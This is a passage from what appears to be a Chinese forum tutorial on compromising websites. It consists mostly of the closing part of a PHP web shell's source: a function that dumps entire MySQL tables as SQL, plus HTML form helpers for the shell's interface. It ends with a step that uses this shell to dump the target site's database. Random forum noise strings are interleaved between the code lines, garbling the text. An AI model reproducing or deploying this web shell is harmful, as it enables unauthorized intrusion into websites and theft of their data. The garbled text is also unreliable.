      / J9 Q. \: q4 z1 V; ~
1788.                 if (!$firstfield) {
      ; J1 v1 C3 ~: b% P. N4 p
1789.                         $tabledump .= ",\n";
      
1790.                 } else {
      3 c) D" ?1 i9 j, v
1791.                         $firstfield=0;
      1 L8 O, q7 V2 Y3 c4 C5 c: R% w
1792.                 }
      
1793.                 $tabledump .= "   $field[Field] $field[Type]";
      8 ?' c- ~3 s. Q0 J$ m, S
1794.                 if (!empty($field["Default"])) {
      
1795.                         $tabledump .= " DEFAULT '$field[Default]'";
      
1796.                 }
      , `* u2 C( }$ |. u9 r
1797.                 if ($field['Null'] != "YES") {
      
1798.                         $tabledump .= " NOT NULL";
      7 Y7 S+ Z( b( g5 I
1799.                 }
      % s/ Z! r1 b: n: J0 B9 P
1800.                 if ($field['Extra'] != "") {
      
1801.                         $tabledump .= " $field[Extra]";
      - g) r5 n3 X; [3 E+ i
1802.                 }
      
1803.         }
      
1804.         fr($fields);
      - Z- k5 s3 N8 d2 A
1805.         $keys = q("SHOW KEYS FROM $table");
      
1806.         while ($key = mysql_fetch_array($keys)) {
      3 G. h5 u- x4 R9 B/ y0 V
1807.                 $kname=$key['Key_name'];
      
1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
      
1809.                         $kname="UNIQUE|$kname";
      
1810.                 }
      9 x: h! K8 S9 R; l, {. b$ j
1811.                 if(!is_array($index[$kname])) {
      
1812.                         $index[$kname] = array();
      $ a: f3 m, ]8 w& _7 W& b
1813.                 }
      
1814.                 $index[$kname][] = $key['Column_name'];
      8 p% ]) Q' x: D% K" j
1815.         }
      
1816.         fr($keys);
      
1817.         while(list($kname, $columns) = @each($index)) {
      5 n8 t/ ^/ n9 x' o! |
1818.                 $tabledump .= ",\n";
      
1819.                 $colnames=implode($columns,",");
      
1820.                 if ($kname == "PRIMARY") {
      
1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
      8 M' r1 P/ a' e% a* l, `+ \
1822.                 } else {
      # m' b$ h& [0 N" Z1 F
1823.                         if (substr($kname,0,6) == "UNIQUE") {
      1 C2 j# F. e& x) L0 {
1824.                                 $kname=substr($kname,7);
      3 M, s! w) e7 o& U& y
1825.                         }
      
1826.                         $tabledump .= "   KEY $kname ($colnames)";
      ) s3 r9 M, |- _) c3 f* a" r
1827.                 }
      8 N6 P6 g& o" S* e" h1 S9 U0 K9 t
1828.         }
      
1829.         $tabledump .= "\n);\n\n";
      
1830.         if ($fp) {
      * Z5 P% b) O- c/ e) ?4 x2 n1 D
1831.                 fwrite($fp,$tabledump);
      
1832.         } else {
      " _" W) ?- F: r1 }% W$ a: n+ x
1833.                 echo $tabledump;
      , [9 C( x& _# t0 T
1834.         }
      
1835.         $rows = q("SELECT * FROM $table");
      
1836.         $numfields = mysql_num_fields($rows);
      5 b( Q' I& C7 C
1837.         while ($row = mysql_fetch_array($rows)) {
      + X3 d' D0 p! |  |
1838.                 $tabledump = "INSERT INTO $table VALUES(";
      
1839.                 $fieldcounter=-1;
      7 @, p7 S$ |4 \$ f/ B4 `
1840.                 $firstfield=1;
      
1841.                 while (++$fieldcounter<$numfields) {
      
1842.                         if (!$firstfield) {
      
1843.                                 $tabledump.=", ";
      & K: ~0 d' F8 X6 D0 s# T8 I; R
1844.                         } else {
      2 s) R; j4 F' j$ b# t% w6 t
1845.                                 $firstfield=0;
      * k, t( Q& \1 @" T
1846.                         }
        @* s  W( Y0 c* D+ _
1847.                         if (!isset($row[$fieldcounter])) {
      
1848.                                 $tabledump .= "NULL";
      
1849.                         } else {
      
1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      
1851.                         }
      % s; I* F1 ^/ V3 A0 l
1852.                 }
        ]% ^+ V- K- G" {5 ^
1853.                 $tabledump .= ");\n";
      , W8 M$ R( f5 p% |/ K( n
1854.                 if ($fp) {
      
1855.                         fwrite($fp,$tabledump);
      7 X) R& y2 C! O: n, o& n
1856.                 } else {
      
1857.                         echo $tabledump;
      
1858.                 }
      - a, R1 ~3 _2 a2 f& s3 W
1859.         }
      
1860.         fr($rows);
      ) {$ }: a, |! G! I, n  o" S/ _
1861.         if ($fp) {
        F4 D: S' I- h9 T0 N
1862.                 fwrite($fp,"\n");
      " k2 R! z! A) Y, q
1863.         } else {
      7 P# }/ |3 I+ x$ ]: _  c
1864.                 echo "\n";
      ! U, \6 ?' K$ `/ I7 E
1865.         }
      7 q' P: r0 G. C! [3 Y) U) P3 j
1866. }
      
1867. function ue($str){
      # i" z3 I8 `" Z$ _4 b
1868.         return urlencode($str);
      
1869. }
      
1870. function p($str){
      
1871.         echo $str."\n";
      
1872. }
      
1873. function tbhead() {
      
1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
      
1875. }
        S& n1 ^: x: I
1876. function tbfoot(){
      7 L, L; O5 x2 [0 C- U. f9 W
1877.         p('</table>');
      * x! y, D$ }8 p* _% n( n  h+ v6 k
1878. }
      
1879. function makehide($name,$value=''){
      5 y( I; s8 e2 y0 g" ^: @
1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
      + G$ x) S6 N. K! @# k
1881. }
      . H# W/ H* |1 U: |
1882. function makeinput($arg = array()){
      
1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
      
1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
      
1885.         !$arg['type'] && $arg['type'] = 'text';
      " U7 L7 a" A$ l0 L* e# g  i, c5 G4 `
1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      5 @% c7 b  U, X3 [4 i; C" ^" r" ]5 H
1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
      9 O9 ^. n$ A- W4 b
1888.         if ($arg['newline']) {
      2 U2 v' H( U( j  C' c9 n
1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
      . ^% c6 |7 f; x& y
1890.         } else {
      % I: w' s% t8 U% k6 M! L& _
1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
      
1892.         }
      
1893. }
      
1894. function makeselect($arg = array()){
      
1895.         if ($arg['onchange']) {
      ' j/ R+ E: J' z
1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      
1897.         }
      
1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
      
1899.         if ($arg['newline']) p('<p>');
      & m# e- i) \$ T: F
1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
      
1901.                 if (is_array($arg['option'])) {
      6 c$ J& u& W- _. Z
1902.                         foreach ($arg['option'] as $key=>$value) {
      2 ]2 |/ H+ p% u/ G; n# U
1903.                                 if ($arg['selected']==$key) {
      
1904.                                         p("<option value="$key" selected>$value</option>");
      ! L7 Q5 ?" R. K8 Z+ e: `
1905.                                 } else {
      , ]" b, |7 K3 D* W$ P
1906.                                         p("<option value="$key">$value</option>");
      
1907.                                 }
      ; I4 o7 V* Y/ ~% B
1908.                         }
      ) ?$ |% |* x* [" t" A" d! X
1909.                 }
      . R% z# b3 D: T: V8 H- @' \
1910.         p("</select>");
      
1911.         if ($arg['newline']) p('</p>');
      , M" a& Q. C' y1 J
1912. }
      
1913. function formhead($arg = array()) {
      
1914.         !$arg['method'] && $arg['method'] = 'post';
      
1915.         !$arg['action'] && $arg['action'] = $self;
      + {$ r7 `* f, d. P% Z
1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
      
1917.         !$arg['name'] && $arg['name'] = 'form1';
      
1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
      
1919.         if ($arg['title']) {
      & z0 ]7 o. ]( e$ @1 i% J
1920.                 p('<h2>'.$arg['title'].' »</h2>');
      ( j* s" a% |! K9 R$ b, d
1921.         }
      
1922. }
      5 e6 a" Z9 M$ h
1923.        
      - L* J" s& S" Z- {+ e
1924. function maketext($arg = array()){
      
1925.         !$arg['cols'] && $arg['cols'] = 100;
        g: W& G7 h- b) ]  `; }: X+ M
1926.         !$arg['rows'] && $arg['rows'] = 25;
      
1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
      
1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
      
1929. }
      * U$ @( c+ v/ w5 E( \
1930. 
      # g, f% w; }/ u! `$ G
1931. function formfooter($name = ''){
      
1932.         !$name && $name = 'submit';
      ! r8 X# T+ m6 l5 V" ?
1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      
1934.         p('</form>');
      
1935. }
      " W1 t' g4 I& \8 {! j; U) y5 ?7 U
1936. 
      
1937. function formfoot(){
      9 }2 q+ p( |& L* u
1938.         p('</form>');
      
1939. }
      + J9 B; \1 t6 n/ F. u4 R7 y
1940. 
        ^, b& s, b( C! t2 l
1941. // 调试函数
      
1942. function pr($a) {
      
1943.         echo '<pre>';
      ( z- Q8 y3 r$ K
1944.         print_r($a);
      
1945.         echo '</pre>';
      
1946. }
      
1947. 
      ( _0 C/ Z& @8 w
1948. ?>

复制代码

11、最后通过大码对网站数据库进行脱库
, s8 k1 ^. O) d' x+ p